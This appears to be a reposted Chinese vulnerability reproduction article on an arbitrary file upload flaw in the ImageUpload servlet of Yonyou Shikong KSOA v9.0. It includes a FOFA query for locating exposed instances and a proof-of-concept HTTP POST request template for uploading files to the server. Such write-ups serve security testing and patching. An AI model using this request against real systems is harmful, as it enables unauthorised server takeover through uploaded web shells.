1、产品简介
用友时空KSOA是建立在SOA理念指导下研发的新一代产品，是根据流通企业最前沿的I需求推出的统一的IT基础架构，它可以让流通企业各个时期建立的IT系统之间彼此轻松对话，帮助流通企业保护原有的IT投资，简化IT管理，提升竞争能力，确保企业整体的战略目标以及创新活动的实现。
2、漏洞概述
用友时空KSOA平台ImageUpload处存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限。
3、影响范围
用友时空企业信息融通平台KSOA v9.0
4、复现环境
FOFA:app="用友-时空KSOA"
5、漏洞复现
burp抓取首页包发送Repeater模块进行复现
POC文章来源：https://www.toymoban.com/news/detail-606683.html
POST /servlet/com.sksoft.bill.ImageUpload?filename=[上传的文件名]&filepath=/ HTTP/1.1
Host: your-ip
[文件内容] 
文章来源地址https://www.toymoban.com/news/detail-606683.html
到了这里，关于用友时空KSOA ImageUpload任意文件上传漏洞复现+利用的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
